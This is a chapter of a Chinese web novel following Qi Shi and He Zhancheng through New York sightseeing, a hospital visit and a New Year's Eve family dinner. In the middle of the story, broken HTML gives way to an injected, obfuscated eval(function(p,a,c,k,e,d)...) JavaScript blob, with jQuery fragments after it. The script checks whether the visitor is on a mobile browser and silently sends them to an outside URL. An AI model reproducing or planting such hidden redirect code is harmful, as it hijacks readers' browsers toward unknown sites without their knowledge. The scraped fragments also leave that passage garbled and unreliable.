戚时在纽约一共待了三天,这三天何湛程推掉了所有课程辅导和工作会议,开着他那辆黄色法拉利,带着戚时绕着曼哈顿三大区转了一个遍,就一个字儿:玩。
戚时高中学的理科,对人文历史不感兴趣,于是何湛程自动忽视众多博物馆,只把人往好玩儿的地方带,大雪初晴的中央公园、跳蚤市场、古董市场、逛狗咖顺便给果汁儿买狗粮、看时代广场热闹的街头表演、专门抽出半天去唐人街溜达,何湛程上学期间偶然吃到的好几个宝藏小馆,全领着戚时吃了一个遍。
但就像去一趟京城,一定要去天安门长城和故宫,来一趟纽约,也必须要去坐一趟游船观赏自由女神像、要去第五大道逛街买东西、去纽交所看大铜牛拍照,去布鲁克林大桥下和爱的人携手欣赏晚霞与日落,然后等夜晚降临,登上帝国大厦,俯瞰整座世界之都的繁华夜景。
戚时之前来过纽约一次。
前两年正和一个美籍华裔伙伴谈合作,恰逢赶上对方女儿结婚,人家邀请他来四季酒店参加豪华婚礼晚宴,戚时带着俩翻译就来随份子了。
当时大部分时间都在酒桌上和陌生人聊天,布置得浪漫梦幻的礼堂,金发碧眼的宾客,美丽的新娘,精英派十足的新郎……但他印象最深的一件事,是人家问他知不知道美国的首都在哪里,他说华盛顿。
事后,他沾沾自喜了许久。
虽然他文化程度不算特别高,但参加重要商务晚宴,无论国内国外,他一向都是做足了功课。
沾沾自喜过后,他偶尔回想起来,又觉得那样没见识的自己很傻叉。
能说出美国首都是华盛顿而不是纽约就能证明他很厉害了吗?穿着西装端着香槟、操着一口塑料英语和那群白男白女们谈笑风生,他就变成真正的上流阶层了吗?他花将近一周业余时间吸收的新知识,人家从一出生就知道,有个词叫“望尘莫及”,可他偏偏就喜欢那样的人。
那样的人——
生而尊贵的、被命运眷顾的宠儿,自幼便长着一张矜骄漂亮的脸蛋,学识渊博,坐拥无数财富,无可挑剔的身材轮廓永远散发着金色的光芒,与他擦肩而过时,周遭空气暗香浮动,这种人笑起来,声音轻灵动听,挠得他心里直泛痒。
无论真爱与否,若能将这样的人占为己有,他才觉得人生真是痛快。
回国过年的最后一天,二人去第五大道买了一堆东西,一半是何湛程的衣装鞋裤和首饰,剩下一半——
戚铭听说戚时又跑去国外玩儿了,连夜火速发来一张购物清单,让弟弟全买齐了,过年捎回家。
回去路上,何湛程路过一家iPad店,突然踩了刹车,扭头问:“介意再跟我戴情侣表吗?”
戚时挑了下眉:“什么意思?”
何湛程:“我就问你愿不愿意。”
戚时比较无所谓:“随你,你喜欢就好。”
何湛程就进店买了两块儿电子表,和戚时一人一个。
何湛程坐在车里,直接开始操作,说:“开共享健康数据,不许关,表也要一直戴着,这样我以后就能随时知道你的身体和情绪状况怎么样了。”
戚时瞬间就明白了,没忍住笑,低头拆盒子戴手表:“怎么跟照顾小孩儿似的,我现在可是大你八岁。”
何湛程嫌他慢吞吞,一把拉过他手腕,指尖飞快地帮他设置着,说:“你就算大我十岁,这件事你也得听我的。”
戚时不是很想戴。
为了哄何湛程高兴,他偶尔戴个两三次还行,但每天都戴,出门在外,那多影响面子?
这千把块钱的玩意儿比起他上百万的劳力士可差远了。
直到夜里,激战过后,那人躺在他怀里缩成一团,低垂浓密的睫毛,闭眼浅浅地呼吸着,小肥猫似的。戚时支着胳膊一脸笑意地欣赏,不经意瞥到对方手腕上显露的平缓心率,他又觉得……这表好像也挺不错的。
何湛程需要随时知道他的睡眠状况,他也可以随时观测何湛程的心率情况。
情不情侣表什么的,不重要。
重要的是,他喜欢上了这款表。
翌日启程回国,罗文开车送他们去机场。
十四个小时的飞行,落地后的安排是这样的:先一起去沪上,叫上老大老二,哥几个结伴去医院看老爷子,就说,兄弟仨凑在一起团年了,演一出兄友弟恭的亲情戏码,让老爷子跟着高兴高兴,然后晚上回京城,去戚铭家里吃团圆饭,饭后再回戚时公寓里,何湛程在戚时那儿住一晚,次日回去沪上,探望一下老爷子,再飞回纽约忙他自己的事。
飞机高等舱座,俩人各自手里捧着个智能保温杯,一个沏着黑咖啡,一个煮着苦中药。
何湛程跟戚时聊起他正在购置直升机的事,说,他日后准备在美国定居了,下次戚时再来找他,他可以让人开飞机带着戚时去加州找何冲霆,俩人一起去骑马玩儿。
戚时自始至终没发表过反对意见。
等何湛程说完,他仰头一口气喝掉整杯的中药,然后抬手一抹嘴,说出来的话都泛着苦味:“行,挺好的。”
何湛程也觉得挺好的。
昨晚上他们在餐厅吃完饭,一起去帝国大厦参观,经过观景台,二人朝下俯瞰整个纽约市夜景,他扒着栏杆,不禁有些憧憬地对戚时说,这里是个求婚圣地,很多浪漫的情侣都会来这里定下婚约。
戚时“哦”了一声,懒洋洋地笑着,挺不客气地揶揄了他一句:“那跟你也没关系啊,你才二十,要结婚还早呢。”
何湛程咬着牙干笑半天,手里的扶栏都恨不得攥断。
虽然戚时这话可以让他少点愧疚感,但他还是特别想抄鞋底子抽死对方。
然而事实摆在眼前,他们之间不可能再近一步了。
逛街吃饭,同床共枕,肌肤之亲,一句调情般的“我爱你”,偶尔的真心流露,大部分时候他与他都把持着分寸和距离,这就是他们当下关系能进展到的最高限度了。
过去的事,一笔勾销;未来的事,顺其自然;至于今朝——
今朝有酒今朝醉,及时行乐而已。
他们曾经痛彻心扉地分开过一段时间,那短暂的别离并不能够疗愈各自的伤口,而眼下,谁想要获得一点点的幸福,谁就要拿一点点的痛苦来换,虽然一点点的幸福并不足以令人获得真正的安慰,幸而那一点点的痛苦也无法再将人刺得遍体鳞伤。
这种相处模式无异于饮鸠止渴,但他与他都是愿意为那一点点幸福喝下毒药的人。
他们是天生一对儿。
回到沪上家里,何老大和老二早已等候多时,见到他们二人紧握相牵的手,你帮我脱外套,我帮你摘围巾,午饭过后,简直像是结婚多年的夫夫,挽在一起绕着庄园谈笑散步,姿态亲昵更甚于普通情侣,旁观众人都不免露出诧异表情。
下午去到医院,老爷子见他们重新和好,面上难得也绽出舒心的笑。
他拉着小儿子的手,逗他:“小祖宗,现在高兴啦?”
何湛程哼一声,说:“高兴了!你高兴吗?”
老爷子笑起来:“你高兴,我就高兴啊!”
又转头望向站在一旁的戚时,半请求半嘱咐道:“湛程不懂事,你日后多包容他些。”
戚时颔首:“您放心。”
一切完美梦幻得不像话。
回京的路上,天空又飘起了雪。
何湛程百无聊赖地坐在副驾,托腮望着窗外灰蒙蒙的远天,随口跟戚时抱怨起这糟糕的坏天气,莫名搞得人心情很差劲。
戚时笑了声,问了句:“怎么了,从医院出来以后就一脸不高兴,饿了?”
何湛程白他一眼:“我是猪吗,才过一下午就饿?”
他对某人一天到晚总觉得他没吃饱这件事颇有微词。
戚时把暖风调高了些,从抽屉里拿出包薯片,递给他:“先吃点儿垫垫肚子,你正长身体呢,等晚上回家了,让我哥给你做好吃的。”
何湛程接过那包黄瓜味乐事薯片,撕开袋子,先喂给对方一片,说:“大哥,谁家孩子靠吃薯片长身体啊。”
戚时含笑将薯片叼进嘴里,嚼两口咽下,说:“上回跟刘导闹不对付了,他罚我给他免费看了一个月的孩子,霜霜那小妮子也不咋喜欢我,唉,我开车接她放学的时候,就顺道儿给她买点儿零食,说起来,她还是第三个在我车上吃东西的人。”
何湛程嘎吱嘎吱嚼着薯片,随口问:“第一个是谁?蒋灵?”
戚时“嗐”一声,说:“我家闺女,果汁儿。”
何湛程啧了声,拧瓶盖儿喝了口水,说:“我居然夹在一只狗和一个小女孩儿中间?”
戚时忍俊不禁,伸手过来摸了摸他后脑勺:“荣幸么,少爷?”
何湛程突然偏过头,一把抓起他胳膊,在他小臂上狠狠咬了一口。
嗤!
仿佛是血液迸射出来的动静。
“嘶——!!”
戚时疼得皱起眉,不解地呵斥一句:“你干什么?!”
他没穿外套,黑衬衫袖口挽到肘间,刚才只是伸手过去抚摸对方两下,平白无故就让何湛程这属狗的逮住给咬了一口,对方几乎使出吃奶的劲儿,牙齿跟钢针一样,他小臂腱子肉就这样被对方烙下两排血淋淋的牙印。
何湛程心情不错地舔了舔牙,扭过来靠回座位,没事儿人一样,继续望着窗外吃薯片。
戚时不痛快地瞪他一眼:“属狗的?”
何湛程嘎吱嘎吱咬薯片,头也不回地说:“属鸡的。”
戚时气笑了:“你他妈属鸡的,差点儿给老子把骨头咬断?”
何湛程继续嘎吱嘎吱咬薯片,两眼空洞洞地眺望着窗外雪景,语气很平淡:“因为我要做第一个在你车上咬你的人,这样不管以后你副驾上坐的是谁,你伸手摸他头发的时候都会想起我。”
戚时怔了下。
手臂上的血还在滋滋往外冒,他凝眸望着身旁不肯回头的人,蓦地心里一痛。
“那好——”
他轻轻甩了下小臂,几滴血珠洒落在纸巾上,他没再去理会那隐隐作痛的伤口。
“既然你喜欢,那就在这里留个疤吧。”
**
除夕夜团年饭,对戚家哥俩来说,还是人生第一次四个人聚在一起吃。
戚铭的小男朋友回来了,何湛程和戚时抱着花提着礼物登门时,是瞿岳跑过来给他们开的门。
对方二十岁出头,个子很高,宽松毛衣配家居裤,腰间系着围裙,双手沾满面粉,脸颊也显然是被谁抹了两道,在他俊逸的面容上显露出几分乖俏。
瞿岳望着堵得门口满当当的两个黑色巨人,好奇的目光将何湛程上上下下打量着,然后冲人一笑,话音温柔:“你好,你是湛程吧,我是瞿岳。”
人都是喜欢漂亮美观的事物,何湛程自然是其中的典型代表。
他从那天在电影院海报上见到瞿岳的脸,就对这位帅气的哥夫很有好感。
他也一脸笑意,友好地冲人点点头:“你好,瞿岳。”
“进来吧。”
“嗯。”
然后自动被瞿岳忽略掉的戚时,满脸冒着黑气,拎着大箱小包走进来。
年夜饭分为两组,做东的两个人负责做饭炒菜沏茶煲汤,做客的两个人负责在一旁等待闲聊。
瞿岳和戚铭在厨房包饺子切菜备菜,戚时最近沉迷于打游戏,一旦开局就全情投入谁也不理,何湛程掏手机陪着戚时玩了两把,没打几局就开始觉得无聊,跟戚时说了句“我找你哥的小对象玩会儿去”,然后脱掉外套,跑进厨房跟他们学包饺子。
瞿岳对何湛程有很多好奇的地方。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868993|168801||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
其中最不可思议的地方就是:
“你怎么会看上他啊?”
何湛程手里捏着馅儿,不免回忆起俩人初见时的场景,眼尾泛着笑意,说:“因为他很帅啊,我对他一见钟情来着。”
瞿岳满脸嫌弃:“他长得跟土匪似的,哪里帅了?”
何湛程笑道:“他是帅哥,我就喜欢帅哥;他是土匪,我就喜欢土匪。”
瞿岳连连摇头:“他特别凶,跟个疯子一样,会吼女人,跟男人打起架来也很不要命,你和交往的时候,还是小心点儿吧。”
旁边切菜的戚铭忍不住扭头插嘴:“瞿岳,你跟人家说点儿好话。”
瞿岳冷哼:“他有什么好话可说的?”
戚铭:“那就聊点别的。”
瞿岳就好奇问何湛程:“你俩打过架吗?”
何湛程笑:“反正他没打过我。”
正聊着,戚时就迈着长腿撸着袖子跟进来了,他不爽瞿岳和何湛程凑在一起,一个横身挤在俩人中间,衬手摸起个面片儿,胡乱塞了点儿馅儿捏着,瞥眼问瞿岳:“你跟他在这儿妖言惑众什么呢?”
何湛程拽他一下,解释说:“我跟他讲,我对你一见钟情的事儿。”
戚时一挑眉:“真的?”
瞿岳不想在大过年搞事,于是附和说:“真的。”
戚时扭头瞥他一眼,呵一声:“我问你了么?”
瞿岳脸一拉,瞪他。
戚时转回头问何湛程,诧异道:“真的吗?一见钟情?”
何湛程也诧异:“你原来不知道?”
戚时纳闷:“你什么时候跟我说过?”
何湛程更纳闷:“我没跟你说过?”
戚时“诶”一声,努力回忆道:“是么?但我那天穿得也不是很帅啊……”
旁边戚铭听不下去了,反手直接撂下菜刀,一手推一个,把俩人都轰出去:
“厨房重地,禁止谈情说爱。”
晚上,窗外烟火声稀廖。
四个人围着满桌丰盛菜肴,一同伸胳膊举杯,齐声道了句“新年快乐!”,各自仰头将杯里的酒和饮料一饮而尽。
戚铭作为最年长的人,按例给诸人发红包。
“老二,明年少让我操点儿心。”
“好嘞哥,破费了!”戚时手指一摸厚度,抬头诧异:“这得多少啊?你这里面不会装得是十块五十的吧?”
“滚!”戚铭笑骂一声,“瞧不起谁呢?”
“瞿岳,明年事业红红火火,更上一层楼。”
瞿岳笑着接过,说:“我就不跟你客气了。”
戚铭也笑:“你什么时候跟我客气过?”
“来,湛程,身体健康,万事顺利。”
何湛程起身,双手接过:“谢谢铭哥。”
戚铭瞟他一眼:“终于不叫叔叔了。”
何湛程笑:“你要是想听,也不是不可以。”
戚铭严肃道:“不可以。”
今夜可谓是欢聚一堂。
不同口味的饺子、菜品汤类,戚铭还提前烤了甜点,做了冰激凌,嘴里念念有词,一边嫌弃地说人多就是难伺候,光是饺子他就调了六种馅儿,力求让每个人都能吃到自己喜欢的那几个口味,一边又止不住地笑,说,他也是快三十年没有和这么多的家人在一起热闹过了。
何湛程见他眼底泛着泪光,不禁有些动容。
于是起身举杯和他相碰,说:“那我明年还来。”
戚铭一笑,和他碰了下杯,说:“当然要来,你不来,老二也不许来了。”
扭头冲戚时说:“听见没?人家这回就认准你一个人了。”
戚时笑着点点头:“知道。”
戚铭于是嗅出几分不对劲儿。
将近凌晨,何湛程和戚时准备走了,戚铭一拍脑门,想来什么似的,借口给戚时看个新鲜好货,把人拽到书房来。
戚铭双手抱臂,倚在门后,直接审问:“你们怎么回事儿?刚才吃饭的时候,他一脸心事重重,你小子笑的比哭还难看?”
戚时利索穿好大衣,低头一圈圈戴着围巾,说:“不怎么回事儿,我俩挺好的。”
戚铭皱起眉,不轻不重戳他肩窝一下:“你再嘴硬一个试试?你当你哥这么些年都白混的?到底怎么回事儿,你们不是和好了吗?现在又闹什么别扭呢?你不是说何老爷子同意了吗,他那边两个哥哥也没意见,还是说,你俩还有什么其他难处?”
戚时摇头:“没难处。”
戚铭愈发不解:“没难处,我怎么感觉你们两个人氛围怪怪的?”
戚时笑:“怎么怪了?”
戚铭有些头疼地搓搓脑门:“就,一股子要死不活的丧劲儿,看得我这心里怪烦的。”
戚时不以为意:“那你别看不就成了?”
戚铭瞪他一眼:“我就问你,你俩现在什么关系?”
戚时:“就处着的关系呗,能什么关系。”
戚铭不可置信:“处着?人都领回家吃年夜饭了,你还‘处着’的关系?”
戚时耸耸肩:“湛程也同意了,我俩都没意见。”
戚铭拧起眉头:“这算什么?没名没分的,哪儿能真正踏实下来?你花心,他也花心,你俩还嫌之前闹得不够厉害吗?”
“哥,”戚时抬起眼,盯着他,“我说了,他没意见。”
“如果他有意见了,他自己会主动和我分开的。”
“那你呢?”戚铭呵斥道,“你白长他七岁,你手里就一点儿主动权都没有?回头等人家真把你甩了,有你好哭的!”
“不会。”戚时笑了声,说:“哥,我那天在纽约街头看到一句话,觉得很有道理。”
“什么话?”
“如果盛开的是玫瑰,就允许它华丽地凋谢吧。”